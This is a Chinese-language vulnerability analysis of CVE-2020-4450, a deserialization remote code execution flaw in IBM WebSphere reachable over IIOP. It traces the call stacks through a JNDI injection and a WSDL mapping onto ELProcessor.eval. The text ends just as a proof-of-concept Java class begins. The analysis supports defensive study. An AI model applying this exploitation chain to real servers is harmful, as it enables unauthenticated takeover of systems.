北极熊yyds
漏洞简介
WebSphere是IBM的软件平台,它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。2020年6月8日,IBM官方发布了WebSphere Application Server(WAS)中的远程代码执行(CVE-2020-4450)漏洞的通告,此漏洞由IIOP协议上的反序列化恶意对象造成,未经身份认证的攻击者可以通过IIOP协议远程攻击WAS服务器,在目标服务端执行任意代码,获取目标系统权限。
漏洞分析
WAS对于IIOP的数据由com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法被处理,在处理过程中,当ServiceContext对象不为空时,com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext被调用,进入反序列化的执行流,在调用过程中,最终调用com.ibm.rmi.io.IIOPInputStream#invokeObjectReader通过反射调用readObject方法进行反序列化,反序列化执行流如下:
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
……
dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)
ZDI的文章里,找到了一个org.apache.wsif.providers.ejb.WSIFPort_EJB.class,该类的readObject方法中存在JNDI注入逻辑,代码执行流如下:
lookup:150, RegistryContext (com.sun.jndi.rmi.registry)
lookup:217, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:161, DelegateContext (org.apache.aries.jndi)
lookup:428, InitialContext (javax.naming)
getEJBObject:166, EntityHandle (com.ibm.ejs.container) readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
到此,进入核心利用点,在通过JNDI的lookup方法获得对应的EJBHome实例的时候,是通过environment中定义的ObjectFactory的具体实现类对应获得工厂实例,然后通过对应工厂getObjectInstance方法创建EJBHome实例,这里修改environment变量中的java.naming.factory.object属性值为org.apache.wsif.naming.WSIFServiceObjectFactory。代码执行流如下:
getObjectInstance:138, WSIFServiceObjectFactory (org.apache.wsif.naming), WSIFServiceObjectFactory.java
getObjectInstanceViaContextDotObjectFactories:167, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstanceViaContextDotObjectFactories:125, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:109, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:62, OSGiObjectFactoryBuilder (org.apache.aries.jndi), OSGiObjectFactoryBuilder.java
getObjectInstance:311, NamingManager (javax.naming.spi), NamingManager.java
decodeObject:511, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup:150, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
之所以修改为该工厂类,是因为该工厂类的getObjectInstance方法的奇妙,该方法调用了WSIF的流程,而其中需要的属性值是通过注入的Reference对象赋值。从而引入自定义的wsdl文件,通过wsdl文件可以将接口方法映射到其他的具体实现中,改变具体接口的执行流;并且可以对className赋值使其返回满足利用条件的EJBHome实例。
具体要实现的核心目的就是返回一个EJBHome实例,通过自定义wsdl文件映射EJBHome的findByPrimaryKey方法(EJB规范)到其他类的方法中,比如javax.el.ELProcessor的eval方法,从而实现代码执行。代码执行栈如下:
eval:57, ELProcessor (javax.el), ELProcessor.java
invoke0:-1, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:90, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:55, DelegatingMethodAccessorImpl (sun.reflect), DelegatingMethodAccessorImpl.java
invoke:508, Method (java.lang.reflect), Method.java
executeRequestResponseOperation:1208, WSIFOperation_Java (org.apache.wsif.providers.java), WSIFOperation_Java.java
invoke:311, WSIFClientProxy (org.apache.wsif.base), WSIFClientProxy.java
findByPrimaryKey:-1, $Proxy82 (com.sun.proxy), Unknown Source
POC
TEST
public class Test {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");